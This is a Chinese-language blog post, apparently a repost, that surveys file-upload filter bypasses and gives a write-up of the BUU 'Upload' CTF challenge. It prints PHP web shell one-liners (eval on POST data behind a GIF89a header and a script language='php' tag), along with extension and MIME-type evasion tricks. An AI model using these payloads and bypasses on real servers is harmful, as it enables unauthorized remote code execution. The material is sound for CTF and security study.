文件上传漏洞 随便贴一个实战演示 BUU Upload(文件上传,过滤后缀,另类一句话) write up

http://39.96.86.88/2020/04/03/

文件上传

0x01 文件上传绕过

1.客户端js检查绕过

原理:客户端通过js检查提交的文件是否合法

绕过:

​ 1.添加允许上传的文件类型,使待上传的文件合法

​ 2.删除对js验证脚本的调用,使其不能进行检测,从而绕过。具体是删除

​ οnsubmit="return checkFile(),它的作用是点击上传时,会触发js验证脚本,删除 后无法触发。

​ 3.burpsuite抓包,修改文件类型。先将想要上传的脚本的后缀改为符合要求的后 缀(eg: demo.php -> demo.jpg),当点击上传时使用burp suite抓包将后缀改回 为.php,让服务器能运行上传的php代码。

2.服务端绕过

1.MIME类型检测绕过

原理:当用户上传文件到服务器端时,服务器会获得上传文件的MIME类型,然后利用这个类型和期望的MIME类型匹配,匹配不上则不合法。

#//检测MIME类型代码
if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif')){
    
    

 ...//判断过后对文件处理的进一步操作
}

绕过:

​ 获取MIME类型的值是通过HTTP请求字段里的Content-Type字段,所以绕过方是通 过修改Content-Type的值,比如: image/jepg image/png image/gif 等等上传类型 对应的MIME值。

2.黑名单绕过

原理:服务器有一个黑名单,只要你上次的文件和黑名单匹配,那么禁止上传。

绕过:

​ 1.文件名大小绕过

​ AsP,pHp之类的后缀绕过

​ 2.名单列表绕过

​ 利用黑名单没有的进行攻击,比如黑名单里没有asa或cer等

​ 3.特殊文件名绕过

​ 比如发送的http暴力的文件名改为test.asp. 或者 test.asp_(下划线为空格),因为 windows不允许这种命名方式,所以在burp suite里面修改,绕过检测后,windows 会自动去掉后面的 点 和 空格 。(linux无此特性)

​ 4.0x00截断绕过

test.php(0x00).jpg
test.php%00.jpg

​ 为什么?看下面这张图片,空,被解析后只剩下test.php

​ 5. .htaccess文件攻击

​ 6.解析调用/漏洞绕过

​ 7. .init文件攻击

​ 8.文件头绕过

​ 在木马基础上添加一些文件信息,比如加上 GIF89a 是服务器将文件作为图片文 件。

​ 9.多个Content-Disposition

​ 在iis环境下,上传文件如果有多个Content-Disposition,iiis会取第一个Content- Disposition中的值作为接收参数,而waf只是取最后一个的话便会绕过, Win2k8 + IIS7.0 + PHP

​ 10.目录验证

​ iis6.0存在写入目录

0x02大佬常用的一句话

​ 1.一次任意上传漏洞,在config.php中未发现定义类型Media,请求: upload/.php?Type=Media

​ 2.上传图片木马

​ 3.序列化木马

<?php
    class A{
    
    
    	var $a = '<?php phpinfo() ?>';
}
$b = new A();
echo serialize($b);
?>

​ 4.php后缀: php,php3,php4,php5,phtml,pht

​ 5.扩展名绕过

Asp:asa cer cdx
Aspx:ashx asmx ascx
Php:php3 phptml
Jsp:jspx jspf

​ 6.

<script language='php'>system("ls")</script>

​ 7.

GIF89a
<script language='php'>@eval($_POST['shell'])</script>

https://www.cnblogs.com/ldhbetter/p/9190556.html
https://www.cnblogs.com/wangtanzhi/p/12243206.html

write up

直接上传jpg文件里面写入 php木马

回显表明不能有php格,说明php一句话不能用了

换一句话 <script language="php"> eval($_POST['cmd'])</script>

说不是图片

上传图片木马遇到拦截系统,连图片木马都上传不了,记事本打开图片木马在代码最前面加上gif89a,一般就能逃过拦截系统了。

既然代码可以屏蔽了“<?” 就是希望我们使用其他方式上传php文件,然而它又能检测图片是否为一个原汁原味的真图片,则可以想到:题目可能是检测的GIF动图的文件头”gif89a

一句话换为 :

GIF89a
<script language='php'>@eval($_POST['cmd'])</script>

为了让服务器能运行里面的php代码,上传的文件最终应该是php文件,这里用burpsuite抓包,改后缀为phtml。

php常用后缀: php,php3,php4,php5,phtml,pht,phtm

得到flag

原来之前一直连不上是因为upload.php整成了upload_file.php(好像是上传后自动会创建upload文件夹防上传的文件),好像以前的题目也有这样的情况,淦,只有记住了。虽然还是不明白为什么时upload,但无所谓了。不过借此机会把蚁剑下下来了,还行吧。
附上百度云链接:https://pan.baidu.com/s/1J7SH4mchH8AHyo7ybs4eFg
密码:xl0m

猜你喜欢

转载自blog.csdn.net/qq_43478096/article/details/105256355